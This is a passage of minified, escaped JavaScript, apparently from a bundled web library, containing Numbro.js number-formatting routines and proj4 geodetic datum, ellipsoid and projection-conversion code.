o=-1<t.toFixed(0).search(\\\"e\\\")?(s=e,c=t.toString(),a=c.split(\\\"e\\\")[0],u=c.split(\\\"e\\\")[1],l=a.split(\\\".\\\")[0],h=a.split(\\\".\\\")[1]||\\\"\\\",c=l+h+p(u-h.length),0<s&&(c+=\\\".\\\"+p(s)),c):(i(t*_)/_).toFixed(e),n&&(r=new RegExp(\\\"0{1,\\\"+n+\\\"}$\\\"),o=o.replace(r,\\\"\\\")),o}function s(t,e,i){var n,r,o,s,a,l,h,u,c,_;return-1<e.indexOf(\\\"$\\\")?n=function(t,e,i){var n,r,o=e,s=o.indexOf(\\\"$\\\"),a=o.indexOf(\\\"(\\\"),l=o.indexOf(\\\"+\\\"),h=o.indexOf(\\\"-\\\"),u=\\\"\\\",c=\\\"\\\";if(-1===o.indexOf(\\\"$\\\")?\\\"infix\\\"===U[q].currency.position?(c=U[q].currency.symbol,U[q].currency.spaceSeparated&&(c=\\\" \\\"+c+\\\" \\\")):U[q].currency.spaceSeparated&&(u=\\\" \\\"):-1<o.indexOf(\\\" $\\\")?(u=\\\" \\\",o=o.replace(\\\" $\\\",\\\"\\\")):-1<o.indexOf(\\\"$ \\\")?(u=\\\" \\\",o=o.replace(\\\"$ \\\",\\\"\\\")):o=o.replace(\\\"$\\\",\\\"\\\"),r=d(t,o,i,c),-1===e.indexOf(\\\"$\\\"))switch(U[q].currency.position){case\\\"postfix\\\":-1<r.indexOf(\\\")\\\")?((r=r.split(\\\"\\\")).splice(-1,0,u+U[q].currency.symbol),r=r.join(\\\"\\\")):r=r+u+U[q].currency.symbol;break;case\\\"infix\\\":break;case\\\"prefix\\\":-1<r.indexOf(\\\"(\\\")||-1<r.indexOf(\\\"-\\\")?(r=r.split(\\\"\\\"),n=Math.max(a,h)+1,r.splice(n,0,U[q].currency.symbol+u),r=r.join(\\\"\\\")):r=U[q].currency.symbol+u+r;break;default:throw Error('Currency position should be among [\\\"prefix\\\", \\\"infix\\\", \\\"postfix\\\"]')}else s<=1?-1<r.indexOf(\\\"(\\\")||-1<r.indexOf(\\\"+\\\")||-1<r.indexOf(\\\"-\\\")?(r=r.split(\\\"\\\"),n=1,(s<a||s<l||s<h)&&(n=0),r.splice(n,0,U[q].currency.symbol+u),r=r.join(\\\"\\\")):r=U[q].currency.symbol+u+r:-1<r.indexOf(\\\")\\\")?((r=r.split(\\\"\\\")).splice(-1,0,u+U[q].currency.symbol),r=r.join(\\\"\\\")):r=r+u+U[q].currency.symbol;return r}(t,e,i):-1<e.indexOf(\\\"%\\\")?(l=t,u=i,_=\\\"\\\",l*=100,-1<(h=e).indexOf(\\\" %\\\")?(_=\\\" \\\",h=h.replace(\\\" %\\\",\\\"\\\")):h=h.replace(\\\"%\\\",\\\"\\\"),-1<(c=d(l,h,u)).indexOf(\\\")\\\")?((c=c.split(\\\"\\\")).splice(-1,0,_+\\\"%\\\"),c=c.join(\\\"\\\")):c=c+_+\\\"%\\\",n=c):-1<e.indexOf(\\\":\\\")?(r=t,o=Math.floor(r/60/60),s=Math.floor((r-60*o*60)/60),a=Math.round(r-60*o*60-60*s),n=o+\\\":\\\"+(s<10?\\\"0\\\"+s:s)+\\\":\\\"+(a<10?\\\"0\\\"+a:a)):n=d(t,e,i),n}function d(t,e,i,n){var r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b,x,w,k=!1,S=!1,C=!1,T=\\\"\\\",A=!1,E=!1,M=!1,O=!1,z=!1,P=\\\"\\\",j=\\\"\\\",N=Math.abs(t),F=[\\\"B\\\",\\\"KiB\\\",\\\"MiB\\\",\\\"GiB\\\",\\\"TiB\\\",\\\"PiB\\\",\\\"EiB\\\",\\\"ZiB\\\",\\\"YiB\\\"],D=[\\\"B\\\",\\\"KB\\\",\\\"MB\\\",\\\"GB\\\",\\\"TB\\\",\\\"PB\\\",\\\"EB\\\",\\\"ZB\\\",\\\"YB\\\"],I=\\\"\\\",R=!1,B=!1;if(0===t&&null!==Y)return Y;if(!isFinite(t))return\\\"\\\"+t;if(0===e.indexOf(\\\"{\\\")){var L=e.indexOf(\\\"}\\\");if(-1===L)throw Error('Format should also contain a \\\"}\\\"');f=e.slice(1,L),e=e.slice(L+1)}else f=\\\"\\\";if(e.indexOf(\\\"}\\\")===e.length-1){var V=e.indexOf(\\\"{\\\");if(-1===V)throw Error('Format should also contain a \\\"{\\\"');v=e.slice(V+1,-1),e=e.slice(0,V+1)}else v=\\\"\\\";if(w=-1===e.indexOf(\\\".\\\")?e.match(/([0-9]+).*/):e.match(/([0-9]+)\\\\..*/),x=null===w?-1:w[1].length,-1!==e.indexOf(\\\"-\\\")&&(R=!0),-1<e.indexOf(\\\"(\\\")?(k=!0,e=e.slice(1,-1)):-1<e.indexOf(\\\"+\\\")&&(S=!0,e=e.replace(/\\\\+/g,\\\"\\\")),-1<e.indexOf(\\\"a\\\")){if(p=e.split(\\\".\\\")[0].match(/[0-9]+/g)||[\\\"0\\\"],p=parseInt(p[0],10),A=0<=e.indexOf(\\\"aK\\\"),E=0<=e.indexOf(\\\"aM\\\"),M=0<=e.indexOf(\\\"aB\\\"),O=0<=e.indexOf(\\\"aT\\\"),z=A||E||M||O,-1<e.indexOf(\\\" a\\\")?(T=\\\" \\\",e=e.replace(\\\" a\\\",\\\"\\\")):e=e.replace(\\\"a\\\",\\\"\\\"),l=Math.floor(Math.log(N)/Math.LN10)+1,u=0==(u=l%3)?3:u,p&&0!==N&&(h=Math.floor(Math.log(N)/Math.LN10)+1-p,c=3*~~((Math.min(p,l)-u)/3),N/=Math.pow(10,c),-1===e.indexOf(\\\".\\\")&&3<p))for(e+=\\\"[.]\\\",y=(y=0===h?0:3*~~(h/3)-h)<0?y+3:y,r=0;r<y;r++)e+=\\\"0\\\";Math.floor(Math.log(Math.abs(t))/Math.LN10)+1!==p&&(N>=Math.pow(10,12)&&!z||O?(T+=U[q].abbreviations.trillion,t/=Math.pow(10,12)):N<Math.pow(10,12)&&N>=Math.pow(10,9)&&!z||M?(T+=U[q].abbreviations.billion,t/=Math.pow(10,9)):N<Math.pow(10,9)&&N>=Math.pow(10,6)&&!z||E?(T+=U[q].abbreviations.million,t/=Math.pow(10,6)):(N<Math.pow(10,6)&&N>=Math.pow(10,3)&&!z||A)&&(T+=U[q].abbreviations.thousand,t/=Math.pow(10,3)))}if(-1<e.indexOf(\\\"b\\\"))for(-1<e.indexOf(\\\" b\\\")?(P=\\\" \\\",e=e.replace(\\\" b\\\",\\\"\\\")):e=e.replace(\\\"b\\\",\\\"\\\"),a=0;a<=F.length;a++)if(o=Math.pow(1024,a),s=Math.pow(1024,a+1),o<=t&&t<s){P+=F[a],0<o&&(t/=o);break}if(-1<e.indexOf(\\\"d\\\"))for(-1<e.indexOf(\\\" d\\\")?(P=\\\" \\\",e=e.replace(\\\" d\\\",\\\"\\\")):e=e.replace(\\\"d\\\",\\\"\\\"),a=0;a<=D.length;a++)if(o=Math.pow(1e3,a),s=Math.pow(1e3,a+1),o<=t&&t<s){P+=D[a],0<o&&(t/=o);break}if(-1<e.indexOf(\\\"o\\\")&&(-1<e.indexOf(\\\" o\\\")?(j=\\\" \\\",e=e.replace(\\\" o\\\",\\\"\\\")):e=e.replace(\\\"o\\\",\\\"\\\"),U[q].ordinal&&(j+=U[q].ordinal(t))),-1<e.indexOf(\\\"[.]\\\")&&(C=!0,e=e.replace(\\\"[.]\\\",\\\".\\\")),_=t.toString().split(\\\".\\\")[0],d=e.split(\\\".\\\")[1],m=e.indexOf(\\\",\\\"),d){if(-1!==d.indexOf(\\\"*\\\")?I=X(t,t.toString().split(\\\".\\\")[1].length,i):-1<d.indexOf(\\\"[\\\")?(d=(d=d.replace(\\\"]\\\",\\\"\\\")).split(\\\"[\\\"),I=X(t,d[0].length+d[1].length,i,d[1].length)):I=X(t,d.length,i),_=I.split(\\\".\\\")[0],I.split(\\\".\\\")[1].length){var G=n?T+n:U[q].delimiters.decimal;I=G+I.split(\\\".\\\")[1]}else I=\\\"\\\";C&&0===Number(I.slice(1))&&(I=\\\"\\\")}else _=X(t,null,i);return-1<_.indexOf(\\\"-\\\")&&(_=_.slice(1),B=!0),_.length<x&&(_=new Array(x-_.length+1).join(\\\"0\\\")+_),-1<m&&(_=_.toString().replace(/(\\\\d)(?=(\\\\d{3})+(?!\\\\d))/g,\\\"$1\\\"+U[q].delimiters.thousands)),0===e.indexOf(\\\".\\\")&&(_=\\\"\\\"),g=e.indexOf(\\\"(\\\"),b=e.indexOf(\\\"-\\\"),f+(g<b?(k&&B?\\\"(\\\":\\\"\\\")+(R&&B||!k&&B?\\\"-\\\":\\\"\\\"):(R&&B||!k&&B?\\\"-\\\":\\\"\\\")+(k&&B?\\\"(\\\":\\\"\\\"))+(!B&&S&&0!==t?\\\"+\\\":\\\"\\\")+_+I+(j||\\\"\\\")+(T&&!n?T:\\\"\\\")+(P||\\\"\\\")+(k&&B?\\\")\\\":\\\"\\\")+v}function a(t,e){U[t]=e}function l(t){var e=U[q=t].defaults;e&&e.format&&u.defaultFormat(e.format),e&&e.currencyFormat&&u.defaultCurrencyFormat(e.currencyFormat)}void 0!==e&&e.exports,(u=function(t){return u.isNumbro(t)?t=t.value():0===t||void 0===t?t=0:Number(t)||(t=u.fn.unformat(t)),new n(Number(t))}).version=\\\"1.6.2\\\",u.isNumbro=function(t){return t instanceof n},u.setLanguage=function(t,e){console.warn(\\\"`setLanguage` is deprecated since version 1.6.0. Use `setCulture` instead\\\");var i=t,n=t.split(\\\"-\\\")[0],r=null;o[i]||(Object.keys(o).forEach(function(t){r||t.split(\\\"-\\\")[0]!==n||(r=t)}),i=r||e||\\\"en-US\\\"),l(i)},u.setCulture=function(t,e){var i=t,n=t.split(\\\"-\\\")[1],r=null;U[i]||(n&&Object.keys(U).forEach(function(t){r||t.split(\\\"-\\\")[1]!==n||(r=t)}),i=r||e||\\\"en-US\\\"),l(i)},u.language=function(t,e){if(console.warn(\\\"`language` is deprecated since version 1.6.0. Use `culture` instead\\\"),!t)return q;if(t&&!e){if(!o[t])throw new Error(\\\"Unknown language : \\\"+t);l(t)}return!e&&o[t]||a(t,e),u},u.culture=function(t,e){if(!t)return q;if(t&&!e){if(!U[t])throw new Error(\\\"Unknown culture : \\\"+t);l(t)}return!e&&U[t]||a(t,e),u},u.languageData=function(t){if(console.warn(\\\"`languageData` is deprecated since version 1.6.0. Use `cultureData` instead\\\"),!t)return o[q];if(!o[t])throw new Error(\\\"Unknown language : \\\"+t);return o[t]},u.cultureData=function(t){if(!t)return U[q];if(!U[t])throw new Error(\\\"Unknown culture : \\\"+t);return U[t]},u.culture(\\\"en-US\\\",{delimiters:{thousands:\\\",\\\",decimal:\\\".\\\"},abbreviations:{thousand:\\\"k\\\",million:\\\"m\\\",billion:\\\"b\\\",trillion:\\\"t\\\"},ordinal:function(t){var e=t%10;return 1==~~(t%100/10)?\\\"th\\\":1===e?\\\"st\\\":2===e?\\\"nd\\\":3===e?\\\"rd\\\":\\\"th\\\"},currency:{symbol:\\\"$\\\",position:\\\"prefix\\\"},defaults:{currencyFormat:\\\",0000 a\\\"},formats:{fourDigits:\\\"0000 a\\\",fullWithTwoDecimals:\\\"$ ,0.00\\\",fullWithTwoDecimalsNoCurrency:\\\",0.00\\\"}}),u.languages=function(){return console.warn(\\\"`languages` is deprecated since version 1.6.0. Use `cultures` instead\\\"),o},u.cultures=function(){return U},u.zeroFormat=function(t){Y=\\\"string\\\"==typeof t?t:null},u.defaultFormat=function(t){r=\\\"string\\\"==typeof t?t:\\\"0.0\\\"},u.defaultCurrencyFormat=function(t){},u.validate=function(t,e){var i,n,r,o,s,a,l,h;if(\\\"string\\\"!=typeof t&&(t+=\\\"\\\",console.warn&&console.warn(\\\"Numbro.js: Value is not string. It has been co-erced to: \\\",t)),(t=t.trim()).match(/^\\\\d+$/))return!0;if(\\\"\\\"===t)return!1;try{l=u.cultureData(e)}catch(t){l=u.cultureData(u.culture())}return r=l.currency.symbol,s=l.abbreviations,i=l.delimiters.decimal,n=\\\".\\\"===l.delimiters.thousands?\\\"\\\\\\\\.\\\":l.delimiters.thousands,!(null!==(h=t.match(/^[^\\\\d]+/))&&(t=t.substr(1),h[0]!==r)||null!==(h=t.match(/[^\\\\d]+$/))&&(t=t.slice(0,-1),h[0]!==s.thousand&&h[0]!==s.million&&h[0]!==s.billion&&h[0]!==s.trillion)||(a=new RegExp(n+\\\"{2}\\\"),t.match(/[^\\\\d.,]/g)||2<(o=t.split(i)).length||(o.length<2?!o[0].match(/^\\\\d+.*\\\\d$/)||o[0].match(a):1===o[0].length?!o[0].match(/^\\\\d+$/)||o[0].match(a)||!o[1].match(/^\\\\d+$/):!o[0].match(/^\\\\d+.*\\\\d$/)||o[0].match(a)||!o[1].match(/^\\\\d+$/))))},e.exports={format:function(t,e,i,n){return null!=i&&i!==u.culture()&&u.setCulture(i),s(Number(t),null!=e?e:r,null==n?Math.round:n)}}},function(t,e,i){var l=t(382),h=t(380),n=t(384),u=t(379),c=t(370),_=t(375);function p(t,e){if(!(this instanceof p))return new p(t);e=e||function(t){if(t)throw t};var i=l(t);if(\\\"object\\\"==typeof i){var n=p.projections.get(i.projName);if(n){if(i.datumCode&&\\\"none\\\"!==i.datumCode){var r=c[i.datumCode];r&&(i.datum_params=r.towgs84?r.towgs84.split(\\\",\\\"):null,i.ellps=r.ellipse,i.datumName=r.datumName?r.datumName:i.datumCode)}i.k0=i.k0||1,i.axis=i.axis||\\\"enu\\\";var o=u.sphere(i.a,i.b,i.rf,i.ellps,i.sphere),s=u.eccentricity(o.a,o.b,o.rf,i.R_A),a=i.datum||_(i.datumCode,i.datum_params,o.a,o.b,s.es,s.ep2);h(this,i),h(this,n),this.a=o.a,this.b=o.b,this.rf=o.rf,this.sphere=o.sphere,this.es=s.es,this.e=s.e,this.ep2=s.ep2,this.datum=a,this.init(),e(null,this)}else e(t)}else e(t)}(p.projections=n).start(),e.exports=p},function(t,e,i){e.exports=function(t,e,i){var n,r,o,s=i.x,a=i.y,l=i.z||0,h={};for(o=0;o<3;o++)if(!e||2!==o||void 0!==i.z)switch(0===o?(n=s,r=\\\"x\\\"):1===o?(n=a,r=\\\"y\\\"):(n=l,r=\\\"z\\\"),t.axis[o]){case\\\"e\\\":h[r]=n;break;case\\\"w\\\":h[r]=-n;break;case\\\"n\\\":h[r]=n;break;case\\\"s\\\":h[r]=-n;break;case\\\"u\\\":void 0!==i[r]&&(h.z=n);break;case\\\"d\\\":void 0!==i[r]&&(h.z=-n);break;default:return null}return h}},function(t,e,i){var n=2*Math.PI,r=t(367);e.exports=function(t){return Math.abs(t)<=3.14159265359?t:t-r(t)*n}},function(t,e,i){e.exports=function(t,e,i){var n=t*e;return i/Math.sqrt(1-n*n)}},function(t,e,i){var a=Math.PI/2;e.exports=function(t,e){for(var i,n,r=.5*t,o=a-2*Math.atan(e),s=0;s<=15;s++)if(i=t*Math.sin(o),n=a-2*Math.atan(e*Math.pow((1-i)/(1+i),r))-o,o+=n,Math.abs(n)<=1e-10)return o;return-9999}},function(t,e,i){e.exports=function(t){return t<0?-1:1}},function(t,e,i){e.exports=function(t){var e={x:t[0],y:t[1]};return 2<t.length&&(e.z=t[2]),3<t.length&&(e.m=t[3]),e}},function(t,e,i){var o=Math.PI/2;e.exports=function(t,e,i){var n=t*i,r=.5*t;return n=Math.pow((1-n)/(1+n),r),Math.tan(.5*(o-e))/n}},function(t,e,i){i.wgs84={towgs84:\\\"0,0,0\\\",ellipse:\\\"WGS84\\\",datumName:\\\"WGS84\\\"},i.ch1903={towgs84:\\\"674.374,15.056,405.346\\\",ellipse:\\\"bessel\\\",datumName:\\\"swiss\\\"},i.ggrs87={towgs84:\\\"-199.87,74.79,246.62\\\",ellipse:\\\"GRS80\\\",datumName:\\\"Greek_Geodetic_Reference_System_1987\\\"},i.nad83={towgs84:\\\"0,0,0\\\",ellipse:\\\"GRS80\\\",datumName:\\\"North_American_Datum_1983\\\"},i.nad27={nadgrids:\\\"@conus,@alaska,@ntv2_0.gsb,@ntv1_can.dat\\\",ellipse:\\\"clrk66\\\",datumName:\\\"North_American_Datum_1927\\\"},i.potsdam={towgs84:\\\"606.0,23.0,413.0\\\",ellipse:\\\"bessel\\\",datumName:\\\"Potsdam Rauenberg 1950 DHDN\\\"},i.carthage={towgs84:\\\"-263.0,6.0,431.0\\\",ellipse:\\\"clark80\\\",datumName:\\\"Carthage 1934 Tunisia\\\"},i.hermannskogel={towgs84:\\\"653.0,-212.0,449.0\\\",ellipse:\\\"bessel\\\",datumName:\\\"Hermannskogel\\\"},i.ire65={towgs84:\\\"482.530,-130.596,564.557,-1.042,-0.214,-0.631,8.15\\\",ellipse:\\\"mod_airy\\\",datumName:\\\"Ireland 1965\\\"},i.rassadiran={towgs84:\\\"-133.63,-157.5,-158.62\\\",ellipse:\\\"intl\\\",datumName:\\\"Rassadiran\\\"},i.nzgd49={towgs84:\\\"59.47,-5.04,187.44,0.47,-0.1,1.024,-4.5993\\\",ellipse:\\\"intl\\\",datumName:\\\"New Zealand Geodetic Datum 1949\\\"},i.osgb36={towgs84:\\\"446.448,-125.157,542.060,0.1502,0.2470,0.8421,-20.4894\\\",ellipse:\\\"airy\\\",datumName:\\\"Airy 1830\\\"},i.s_jtsk={towgs84:\\\"589,76,480\\\",ellipse:\\\"bessel\\\",datumName:\\\"S-JTSK (Ferro)\\\"},i.beduaram={towgs84:\\\"-106,-87,188\\\",ellipse:\\\"clrk80\\\",datumName:\\\"Beduaram\\\"},i.gunung_segara={towgs84:\\\"-403,684,41\\\",ellipse:\\\"bessel\\\",datumName:\\\"Gunung Segara Jakarta\\\"},i.rnb72={towgs84:\\\"106.869,-52.2978,103.724,-0.33657,0.456955,-1.84218,1\\\",ellipse:\\\"intl\\\",datumName:\\\"Reseau National Belge 1972\\\"}},function(t,e,i){i.MERIT={a:6378137,rf:298.257,ellipseName:\\\"MERIT 1983\\\"},i.SGS85={a:6378136,rf:298.257,ellipseName:\\\"Soviet Geodetic System 85\\\"},i.GRS80={a:6378137,rf:298.257222101,ellipseName:\\\"GRS 1980(IUGG, 1980)\\\"},i.IAU76={a:6378140,rf:298.257,ellipseName:\\\"IAU 1976\\\"},i.airy={a:6377563.396,b:6356256.91,ellipseName:\\\"Airy 1830\\\"},i.APL4={a:6378137,rf:298.25,ellipseName:\\\"Appl. Physics. 1965\\\"},i.NWL9D={a:6378145,rf:298.25,ellipseName:\\\"Naval Weapons Lab., 1965\\\"},i.mod_airy={a:6377340.189,b:6356034.446,ellipseName:\\\"Modified Airy\\\"},i.andrae={a:6377104.43,rf:300,ellipseName:\\\"Andrae 1876 (Den., Iclnd.)\\\"},i.aust_SA={a:6378160,rf:298.25,ellipseName:\\\"Australian Natl & S. Amer. 1969\\\"},i.GRS67={a:6378160,rf:298.247167427,ellipseName:\\\"GRS 67(IUGG 1967)\\\"},i.bessel={a:6377397.155,rf:299.1528128,ellipseName:\\\"Bessel 1841\\\"},i.bess_nam={a:6377483.865,rf:299.1528128,ellipseName:\\\"Bessel 1841 (Namibia)\\\"},i.clrk66={a:6378206.4,b:6356583.8,ellipseName:\\\"Clarke 1866\\\"},i.clrk80={a:6378249.145,rf:293.4663,ellipseName:\\\"Clarke 1880 mod.\\\"},i.clrk58={a:6378293.645208759,rf:294.2606763692654,ellipseName:\\\"Clarke 1858\\\"},i.CPM={a:6375738.7,rf:334.29,ellipseName:\\\"Comm. des Poids et Mesures 1799\\\"},i.delmbr={a:6376428,rf:311.5,ellipseName:\\\"Delambre 1810 (Belgium)\\\"},i.engelis={a:6378136.05,rf:298.2566,ellipseName:\\\"Engelis 1985\\\"},i.evrst30={a:6377276.345,rf:300.8017,ellipseName:\\\"Everest 1830\\\"},i.evrst48={a:6377304.063,rf:300.8017,ellipseName:\\\"Everest 1948\\\"},i.evrst56={a:6377301.243,rf:300.8017,ellipseName:\\\"Everest 1956\\\"},i.evrst69={a:6377295.664,rf:300.8017,ellipseName:\\\"Everest 1969\\\"},i.evrstSS={a:6377298.556,rf:300.8017,ellipseName:\\\"Everest (Sabah & Sarawak)\\\"},i.fschr60={a:6378166,rf:298.3,ellipseName:\\\"Fischer (Mercury Datum) 1960\\\"},i.fschr60m={a:6378155,rf:298.3,ellipseName:\\\"Fischer 1960\\\"},i.fschr68={a:6378150,rf:298.3,ellipseName:\\\"Fischer 1968\\\"},i.helmert={a:6378200,rf:298.3,ellipseName:\\\"Helmert 1906\\\"},i.hough={a:6378270,rf:297,ellipseName:\\\"Hough\\\"},i.intl={a:6378388,rf:297,ellipseName:\\\"International 1909 (Hayford)\\\"},i.kaula={a:6378163,rf:298.24,ellipseName:\\\"Kaula 1961\\\"},i.lerch={a:6378139,rf:298.257,ellipseName:\\\"Lerch 1979\\\"},i.mprts={a:6397300,rf:191,ellipseName:\\\"Maupertius 1738\\\"},i.new_intl={a:6378157.5,b:6356772.2,ellipseName:\\\"New International 1967\\\"},i.plessis={a:6376523,rf:6355863,ellipseName:\\\"Plessis 1817 (France)\\\"},i.krass={a:6378245,rf:298.3,ellipseName:\\\"Krassovsky, 1942\\\"},i.SEasia={a:6378155,b:6356773.3205,ellipseName:\\\"Southeast Asia\\\"},i.walbeck={a:6376896,b:6355834.8467,ellipseName:\\\"Walbeck\\\"},i.WGS60={a:6378165,rf:298.3,ellipseName:\\\"WGS 60\\\"},i.WGS66={a:6378145,rf:298.25,ellipseName:\\\"WGS 66\\\"},i.WGS7={a:6378135,rf:298.26,ellipseName:\\\"WGS 72\\\"},i.WGS84={a:6378137,rf:298.257223563,ellipseName:\\\"WGS 84\\\"},i.sphere={a:6370997,b:6370997,ellipseName:\\\"Normal Sphere (r=6370997)\\\"}},function(t,e,i){i.greenwich=0,i.lisbon=-9.131906111111,i.paris=2.337229166667,i.bogota=-74.080916666667,i.madrid=-3.687938888889,i.rome=12.452333333333,i.bern=7.439583333333,i.jakarta=106.807719444444,i.ferro=-17.666666666667,i.brussels=4.367975,i.stockholm=18.058277777778,i.athens=23.7163375,i.oslo=10.722916666667},function(t,e,i){i.ft={to_meter:.3048},i[\\\"us-ft\\\"]={to_meter:1200/3937}},function(t,e,i){var n=t(362),r=t(387),o=n(\\\"WGS84\\\");function s(t,e,i){var n;return Array.isArray(i)?(n=r(t,e,i),3===i.length?[n.x,n.y,n.z]:[n.x,n.y]):r(t,e,i)}function a(t){return t instanceof n?t:t.oProj?t.oProj:n(t)}e.exports=function(e,i,t){e=a(e);var n,r=!1;return void 0===i?(i=e,e=o,r=!0):(void 0!==i.x||Array.isArray(i))&&(t=i,i=e,e=o,r=!0),i=a(i),t?s(e,i,t):(n={forward:function(t){return s(e,i,t)},inverse:function(t){return s(i,e,t)}},r&&(n.oProj=i),n)}},function(t,e,i){var a=484813681109536e-20;e.exports=function(t,e,i,n,r,o){var s={datum_type:4};return t&&\\\"none\\\"===t&&(s.datum_type=5),e&&(s.datum_params=e.map(parseFloat),0===s.datum_params[0]&&0===s.datum_params[1]&&0===s.datum_params[2]||(s.datum_type=1),3<s.datum_params.length&&(0===s.datum_params[3]&&0===s.datum_params[4]&&0===s.datum_params[5]&&0===s.datum_params[6]||(s.datum_type=2,s.datum_params[3]*=a,s.datum_params[4]*=a,s.datum_params[5]*=a,s.datum_params[6]=s.datum_params[6]/1e6+1))),s.a=i,s.b=n,s.es=r,s.ep2=o,s}},function(t,e,i){var k=Math.PI/2;i.compareDatums=function(t,e){return t.datum_type===e.datum_type&&!(t.a!==e.a||5e-11<Math.abs(this.es-e.es))&&(1===t.datum_type?this.datum_params[0]===e.datum_params[0]&&t.datum_params[1]===e.datum_params[1]&&t.datum_params[2]===e.datum_params[2]:2!==t.datum_type||t.datum_params[0]===e.datum_params[0]&&t.datum_params[1]===e.datum_params[1]&&t.datum_params[2]===e.datum_params[2]&&t.datum_params[3]===e.datum_params[3]&&t.datum_params[4]===e.datum_params[4]&&t.datum_params[5]===e.datum_params[5]&&t.datum_params[6]===e.datum_params[6])},i.geodeticToGeocentric=function(t,e,i){var n,r,o,s,a=t.x,l=t.y,h=t.z?t.z:0;if(l<-k&&-1.001*k<l)l=-k;else if(k<l&&l<1.001*k)l=k;else if(l<-k||k<l)return null;return a>Math.PI&&(a-=2*Math.PI),r=Math.sin(l),s=Math.cos(l),o=r*r,{x:((n=i/Math.sqrt(1-e*o))+h)*s*Math.cos(a),y:(n+h)*s*Math.sin(a),z:(n*(1-e)+h)*r}},i.geocentricToGeodetic=function(t,e,i,n){var r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b=t.x,x=t.y,w=t.z?t.z:0;if(r=Math.sqrt(b*b+x*x),o=Math.sqrt(b*b+x*x+w*w),r/i<1e-12){if(m=0,o/i<1e-12)return g=k,y=-n,{x:t.x,y:t.y,z:t.z}}else m=Math.atan2(x,b);for(s=w/o,a=r/o,l=1/Math.sqrt(1-e*(2-e)*a*a),c=a*(1-e)*l,_=s*l,v=0;v++,u=i/Math.sqrt(1-e*_*_),h=e*u/(u+(y=r*c+w*_-u*(1-e*_*_))),l=1/Math.sqrt(1-h*(2-h)*a*a),f=(d=s*l)*c-(p=a*(1-h)*l)*_,c=p,_=d,1e-24<f*f&&v<30;);return g=Math.atan(d/Math.abs(p)),{x:m,y:g,z:y}},i.geocentricToWgs84=function(t,e,i){if(1===e)return{x:t.x+i[0],y:t.y+i[1],z:t.z+i[2]};if(2===e){var n=i[0],r=i[1],o=i[2],s=i[3],a=i[4],l=i[5],h=i[6];return{x:h*(t.x-l*t.y+a*t.z)+n,y:h*(l*t.x+t.y-s*t.z)+r,z:h*(-a*t.x+s*t.y+t.z)+o}}},i.geocentricFromWgs84=function(t,e,i){if(1===e)return{x:t.x-i[0],y:t.y-i[1],z:t.z-i[2]};if(2===e){var n=i[0],r=i[1],o=i[2],s=i[3],a=i[4],l=i[5],h=i[6],u=(t.x-n)/h,c=(t.y-r)/h,_=(t.z-o)/h;return{x:u+l*c-a*_,y:-l*u+c+s*_,z:a*u-s*c+_}}}},function(t,e,i){var n=t(376);function r(t){return 1===t||2===t}e.exports=function(t,e,i){return n.compareDatums(t,e)?i:5===t.datum_type||5===e.datum_type?i:t.es!==e.es||t.a!==e.a||r(t.datum_type)||r(e.datum_type)?(i=n.geodeticToGeocentric(i,t.es,t.a),r(t.datum_type)&&(i=n.geocentricToWgs84(i,t.datum_type,t.datum_params)),r(e.datum_type)&&(i=n.geocentricFromWgs84(i,e.datum_type,e.datum_params)),n.geocentricToGeodetic(i,e.es,e.a,e.b)):i}},function(t,e,i){var n=t(381),r=t(383),o=t(388);function s(t){var e=this;if(2===arguments.length){var i=arguments[1];s[t]=\\\"string\\\"==typeof i?\\\"+\\\"===i.charAt(0)?r(arguments[1]):o(arguments[1]):i}else if(1===arguments.length){if(Array.isArray(t))return t.map(function(t){Array.isArray(t)?s.apply(e,t):s(t)});if(\\\"string\\\"==typeof t){if(t in s)return s[t]}else\\\"EPSG\\\"in t?s[\\\"EPSG:\\\"+t.EPSG]=t:\\\"ESRI\\\"in t?s[\\\"ESRI:\\\"+t.ESRI]=t:\\\"IAU2000\\\"in t?s[\\\"IAU2000:\\\"+t.IAU2000]=t:console.log(t);return}}n(s),e.exports=s},function(t,e,i){var s=t(371);i.eccentricity=function(t,e,i,n){var r=t*t,o=e*e,s=(r-o)/r,a=0;n?(r=(t*=1-s*(.16666666666666666+s*(.04722222222222222+.022156084656084655*s)))*t,s=0):a=Math.sqrt(s);var l=(r-o)/o;return{es:s,e:a,ep2:l}},i.sphere=function(t,e,i,n,r){if(!t){var o=s[n];o||(o=s.WGS84),t=o.a,e=o.b,i=o.rf}return i&&!e&&(e=(1-1/i)*t),(0===i||Math.abs(t-e)<1e-10)&&(r=!0,e=t),{a:t,b:e,rf:i,sphere:r}}},function(t,e,i){e.exports=function(t,e){var i,n;if(t=t||{},!e)return t;for(n in e)void 0!==(i=e[n])&&(t[n]=i);return t}},function(t,e,i){e.exports=function(t){t(\\\"EPSG:4326\\\",\\\"+title=WGS 84 (long/lat) +proj=longlat +ellps=WGS84 +datum=WGS84 +units=degrees\\\"),t(\\\"EPSG:4269\\\",\\\"+title=NAD83 (long/lat) +proj=longlat +a=6378137.0 +b=6356752.31414036 +ellps=GRS80 +datum=NAD83 +units=degrees\\\"),t(\\\"EPSG:3857\\\",\\\"+title=WGS 84 / Pseudo-Mercator +proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=0.0 +x_0=0.0 +y_0=0 +k=1.0 +units=m +nadgrids=@null +no_defs\\\"),t.WGS84=t[\\\"EPSG:4326\\\"],t[\\\"EPSG:3785\\\"]=t[\\\"EPSG:3857\\\"],t.GOOGLE=t[\\\"EPSG:3857\\\"],t[\\\"EPSG:900913\\\"]=t[\\\"EPSG:3857\\\"],t[\\\"EPSG:102113\\\"]=t[\\\"EPSG:3857\\\"]}},function(t,e,i){var n=t(378),r=t(388),o=t(383),s=[\\\"GEOGCS\\\",\\\"GEOCCS\\\",\\\"PROJCS\\\",\\\"LOCAL_CS\\\"];e.exports=function(t){return\\\"string\\\"!=typeof t?t:t in n?n[t]:(e=t,s.some(function(t){return-1<e.indexOf(t)})?r(t):\\\"+\\\"===t[0]?o(t):void 0);var e}},function(t,e,i){var a=.017453292519943295,l=t(372),h=t(373);e.exports=function(t){var e,i,n,r={},o=t.split(\\\"+\\\").map(function(t){return t.trim()}).filter(function(t){return t}).reduce(function(t,e){var i=e.split(\\\"=\\\");return 